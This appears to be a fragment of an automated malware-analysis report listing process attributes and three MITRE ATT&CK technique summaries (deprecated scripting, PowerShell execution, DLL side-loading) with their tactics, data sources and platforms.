Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre